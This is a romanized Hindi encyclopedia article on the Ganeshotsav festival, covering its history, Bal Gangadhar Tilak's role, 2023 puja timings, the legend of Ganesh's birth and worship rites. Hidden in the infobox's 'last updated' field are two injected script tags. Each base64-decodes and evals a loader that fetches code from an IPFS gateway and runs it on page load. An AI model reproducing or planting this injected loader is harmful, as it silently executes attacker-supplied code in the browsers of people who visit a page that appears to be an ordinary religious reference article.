गणेशोत्सव
ganeshotsav
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| any nam | ganesh chaturthi, ganesh utsav |
| anuyayi | hindoo |
| prarambh | vaise to ganeshotsav kafi lambe samay se bharat mean manaya jata raha hai, kintu 1893 ee. mean bal gangadhar tilak ne is tyauhar ko samajik svaroop diya, tab se ganeshotsav rashtriy ekata ka pratik ban gaya. |
| tithi | bhadrapad mah, shukl paksh, chaturthi se chaturdashi tak |
| sanbandhit lekh | ganesh, shivaji, jijabaee, bal gangadhar tilak |
| any janakari | ganeshotsav ke dauran log gharoan, mohalloan, chaurahoan par ganeshaji ki sthapana, arati tatha pooja adi karate haian. b de joroan se git bajate, prasad baantate haian. anant chaturdashi ke din ganeshaji ki moorti ko poore vidhi vidhan ke sath samudr, nadi ya talab mean visarjit kar apane gharoan ko laut ate haian. |
| adyatan | 11:51, 19 sitambar 2023 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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ganeshotsav (ganesh + utsav) hindoo dharm ke logoan dvara manaya jane vala pramukh utsav hai. yah utsav bhadrapad mas mean shukl paksh ki chaturthi se chaturdashi tithi tak manaya jata hai. yadyapi ganeshotsav poore bharat mean poorn shraddha aur bhakti ke sath manaya jata hai, kiantu maharashtr mean isaka vishesh mahattv hai. ganeshotsav mean bhagavan ganesh ki pooja-archana ka vishesh mahattv hai. yah bhagavan ganesh ko samarpit pramukh tithiyoan mean se ek ganesh chaturthi se prarambh hokar 'anant chaturdashi' (anant chaudas) tak chalane vala das divasiy mahotsav hai. yah mana jata hai ki in das dinoan ke dauran yadi shraddha evan vidhi-vidhan ke sath ganesh ji ki pooja-archana ki jae to jivan ki samast badhaoan ka ant kar vighnaharta apane bhaktoan par saubhagy, samriddhi evan sukhoan ki barish karate haian.
itihas
maharashtr mean satavahan, rashtrakoot, chaluky adi rajaoan ne ganeshotsav ki pratha chalayi thi. kaha jata hai ki shivaji ki mata jijabaee ne pune ke qasba ganapati mean ganesh ji ki sthapana ki thi aur peshavaoan ne ganeshotsav ko bahut adhik badhava diya. moolatah ganeshotsav parivarik tyauhar tha, kintu bad ke dinoan mean bal gangadhar tilak ne is tyauhar ko samajik svaroop de diya tatha ganeshotsav rashtriy ekata ka pratik ban gaya.[1]
tilak ka yogadan
thumb|250px|bhagavan ganesh bal gangadhar tilak ne ganeshotsav ke dvara azadi ki l daee, chhuachhoot door karane aur samaj ko sangathit kiya. ganeshotsav ki vidhivat shuruat 1893 ee. mean maharashtr se lokamany bal gangadhar tilak ne ki thi. 1893 ee. ke pahale bhi ganapati utsav banaya jata tha, lekin vah sirph gharoan tak hi simit tha. us samay aj ki tarah pandal nahian banae jate the aur na hi samoohik ganapati virajate the.[2] bal gangadhar tilak us samay ek yuva kraantikari aur garm dal ke neta ke roop mean jane jate the. ve bahut hi spasht vakta aur prabhavi dhang se bhashan dene mean mahir the. yah bat british afasar bhi achchhi tarah janate the ki agar kisi manch se tilak bhashan deange to vahaan ag barasana tay hai.
tilak 'svaraj' ke lie sangharsh kar rahe the aur ve apani bat ko adhik se adhik logoan tak pahuanchana chahate the. isake lie unhean aisa sarvajanik manch chahie tha, jahaan se unake vichar adhikaansh logoan tak pahuanch sakean. is kam ko karane ke lie unhoanne 'ganapati utsav' (ganeshotsav) ko chuna aur ise suandar bhavy roop diya, jise aj ham dekhate haian. bal gangadhar tilak ke is kary se do fayade hue, ek to vah apane vicharoan ko jan-jan tak pahuancha pae aur doosara yah ki is utsav ne am janata ko bhi svaraj ke lie sangharsh karane ki prerana di aur unhean josh se bhar diya. is tarah se ganapati utsav ne bhi azadi ki l daee mean ek aham bhoomika nibhaee. tilak dvara shuroo kie ge is utsav ko aj bhi bharatiy poori dhoomadham se manate rahe haian aur age bhi manate raheange. aj maharashtr ka ganeshotsav vishv bhar mean prasiddh hai, jahaan ganesh bhagavan ko mangalakari devata ke roop mean v mangalamoorti ke nam se pooja jata hai.
ganesh chaturthi pooja muhoort, 2023
hiandoo panchaang ke anusar, 19 sitanbar 2023 ke din subah 11 bajakar 8 minat se dopahar 1 bajakar 33 minat tak ganesh ji ki moorti sthapit karane ka shubh muhoort rahega. vahian, thik 10 dinoan ke bad yani brihaspativar, 28 sitambar, 2023 ko visarjan kiya jaega.
ganesh pooja muhoort - madhyahn 11:01 se 01:28 tak.
varjit chandradarshan ka samay - prat: 9:45 se ratri 8:44 tak (mangalavar, 19 sitambar 2023)
chaturthi tithi - 18 sitambar 2023 madhyahn 12:39 se 19 sitambar 2023 1:43 tak
lokakatha
thumb|280px|left|ganesh ji ki yatra ek lokakatha ke anusar- "ek bar devi parvati snan karane ke lie bhogavati nadi gayian. unhoanne apane tan ke mail se ek jivant moorti banayi aur usaka nam 'ganesh' rakha. parvati ne usase kaha- 'he putr! tum dvar par baith jao aur kisi purush ko aandar mat ane dena.' kuchh der bad bhagavan shiv vahaan ae. dvar par pahara de rahe ganesh ne unhean dekha to rok diya. ise shiv ne apana apaman samajha. krodhit hokar unhoanne ganesh ka sir dh d se alag kar diya aur bhitar chale ge. mahadev ko naraz dekhakar parvati ne samajha ki bhojan mean vilamb ke karan shayad ve naraj haian. unhoanne tatkal do thaliyoan mean bhojan parosakar shiv ko bulaya. tab doosari thali dekhakar shiv ne ashcharyachakit hokar poochha ki doosari thali kisake lie hai? parvati bolian, doosari thali mere putr ganesh ke lie hai, jo bahar dvar par pahara de raha hai. kya apane ate vakt use nahian dekha? yah bat sunakar shiv bahut hairan hue. unhoanne kaha, dekha to tha maianne, lekin usane mera rasta roka tha. is karan maianne use uddand balak samajhakar usaka sir kat diya.
yah sunakar parvati vilap karane lagian. tab parvati ko prasann karane ke lie bhagavan shiv ne ek hathi ke bachche ka sir katakar balak ke dh d se jo d diya. is prakar parvati putr ganesh ko pakar prasann ho gayian. unhoanne pati tatha putr ko bhojan paros kar svayan bhojan kiya. yah ghatana bhadrapad mas ke shukl paksh ki chaturthi tithi par ghatit huee thi, isalie yah tithi puny parv ke roop mean manaee jati hai.[3]
ganesh pratima ki sthapana
das dinoan tak chalane vala ganeshotsav ka tyohar hinduoan ki astha ka ek aisa adbhut praman hai, jisamean shiv-parvati ke nandan shriganesh ki pratima ko gharoan, mandiroan athava pandaloan mean saj-shrriangar ke sath chaturthi ko sthapit kiya jata hai.200px|thumb|ganesh pratima ki sthapana kahian-kahian to ye pratimaean bahut b di tatha kafi uanchi hoti haian. das dinoan tak ganesh pratima ka nity vidhipoorvak poojan kiya jata hai aur gyarahavean din is pratima ka b de dhoom-dham se visarjan kar diya jata hai. bhadrapad shukl chaturthi ko ganesh ji ke siddhi vinayak svaroop ki pooja hoti hai. shastroan ke anusar is din ganesh ji dopahar mean avatarit hue the. isilie yah 'ganesh chaturthi' vishesh phaladayi bataee jati hai.
poore desh mean yah tyohar 'ganeshotsav' ke nam se prasiddh hai. bharat mean yah tyohar prachin kal se hi hindoo parivaroan mean manaya jata hai. is dauran desh mean vaidik sanatan pooja paddhati se archana ke sath-sath anek lok saanskritik rangarang karyakram bhi hote haian, jinamean nrity natika, rangoli, chitrakala pratiyogita, haldi utsav adi pramukh hote haian. ganeshotsav mean pratishtha se visarjan tak vidhi-vidhan se ki jane vali pooja ek vishesh anushthan ki tarah hoti hai, jisamean vaidik evan pauranik mantroan se ki jane vali pooja darshaniy hoti hai. mahaarati aur pushpaanjali ka najara to dekhane yogy hota hai.
poojan vidhi
- ganeshotsav ke dauran pratahkal snanadi se nivritt hokar 'mam sarvakarmasiddhaye siddhivinayak poojanamahan karishye' mantr se sankalp lena chahie. isake bad sone, taanbe, mitti athava gobar se ganeshaji ki pratima banaee jati hai.
- ganesh ki pratima ko kore kalash mean jal bharakar muanh par kora kap da baandhakar us par sthapit karate haian. isake bad moorti par siandoor chadhakar unaka poojan aur arati karani chahie.
- dakshina arpit karake ikkis ladduoan ka bhog lagaya jata hai. inamean se paanch laddoo ganeshaji ki pratima ke pas rakhakar shesh brahmanoan mean baant dena chahie.
- poojan se pahale nityadi kriyaoan se nivritt hokar shuddh asan mean baithakar sabhi poojan samagri ko ekatrit kar pushp, dhoop, dipak, kapoor, roli, mauli lal, chandan, modak adi ekatrit kar kramash: pooja karani chahie.
- pooja ke dauran yah zaroor yad rakhean ki bhagavan shriganesh ko tulasi dal aur tulasi patr nahian chadhana chahie. unhean, shuddh sthan se chuni huee doorva ko dhokar hi chadhana chahie.
- shriganesh ko modak yani laddoo adhik priy hote haian. isalie unhean deshi ghi se bane modak ka prasad hi chadhana chahie. aisa karane se vishesh phal ki prapti hoti hai.
- bhagavan shriganesh ke atirikt shiv aur parvati, nandi, kartikey sahit sampoorn shiv parivar ki pooja sho dashopachar vidhi roop se karana sarvottam mana jata hai.
- shastroan ke anusar ganesh ki parthiv pratima banakar use pran-pratishthit kar poojan-archan ke bad visarjit kar dena chahie. atah bhajan-kirtan aur saanskritik ayojanoan ke bad pratima ka visarjan karana nahian bhoolean.[4]
moorti visarjan
thumb|left|250px|moorti visarjan karate log
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any sambandhit lekh |
ganeshotsav sanpoorn bharat mean b de hi harsh evan astha ke sath manaya jata hai. ghar-ghar mean ganeshaji ki pooja hoti hai. is dauran log mohalloan, chaurahoan par ganeshaji ki sthapana, arati, pooja karate haian. b de joroan se git bajate, prasad baantate haian. anant chaturdashi ke din ganeshaji ki moorti ko poore vidhi vidhan ke sath samudr, nadi ya talab mean visarjit kar apane gharoan ko laut ate haian. vaise to bhagavan ki pooja kabhi bhi ki ja sakati hai, parantu ganeshaji ki pooja sayankal ke samay ki jae to behatar mana jata hai. poojan ke bad sar jhukakar chandrama ko arghy dena chahie aur brahmanoan ko bhojan karakar dakshina zaroor deni chahie. sir jhukakar chandrama ko arghy dene ke pichhe bhi karan vyapt hai. mana jata hai ki jahaan tak sanbhav ho, is din chandrama ke darshan nahian karane chahie. bhool bas ya karan bas is din chandrama ke darshan ho jate haian to ap kalank ke bhagi ban jate haian. phir bhi shastroan mean is tarah ki bhool bas hone vali ghatanaoan se mukti pane ke lie vidhan bhi maujood haian. aisa hone par ganesh chaturthi ka vrat kar kalank se mukti paee ja sakati hai.
ganapati yantr ka mahatv
thumb|250px|ganesh visarjan ganesh-poojan ke das dinoan ke dauran ganapati yantr ke poojan ka vishesh mahatv hai. jivan ko sukh-samriddhi evan saubhagy se paripoorn karane ke lie is yantr ke poojan ka vishesh mahatv hai. chahe kisi ne vyapar ki shuruat ho, bhavan-nirman ka arambh ho ya kisi kitab, pentiang ya yatra ka shubharambh ho, ganapati yantr apake kary mean ane vali har prakar ki badha se raksha karata hai. jo is yantr ka poojan karata hai, vah apane har kary mean saphal rahata hai.
sampoorn bharat mean poojan
ganesh ki pratishtha sampoorn bharat mean saman roop mean vyapt hai. maharashtr ise mangalakari devata ke roop mean v mangalamoorti ke nam se poojata hai. dakshin bharat mean inaki vishesh lokapriyata ‘kala shiromani’ ke roop mean hai. maisoor tatha tanjaur ke mandiroan mean ganesh ki nrity-mudra mean anek manamohak pratimaean haian. ganesh hinduoan ke adi aradhy dev haian. hindoo dharm mean ganesh ko ek vishashti sthan prapt hai. koee bhi dharmik utsav ho, yajn, poojan ityadi satkarm ho ya phir vivahotsav ho, nirvidhn kary sampann ho, isalie shubh ke roop mean ganesh ki pooja sabase pahale ki jati hai.
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tika tippani aur sandarbh
- ↑ pratham poojy shriganesh ka utsav 'ganeshotsav' (hindi) jagaran jankshan. abhigaman tithi: 02 agast, 2014.
- ↑ ganeshotsav kab shuroo hua (hindi) vebasuniya. abhigaman tithi: 02 agast, 2014.
- ↑ ganesh chaturthi yani ganeshotsav (hindi) samay laiv. abhigaman tithi: 02 agast, 2014.
- ↑ maharashtr mean ganeshotsav ki chamak auroan se alag (hindi) aj tak. abhigaman tithi: 02 agast, 2014.
sanbandhit lekh
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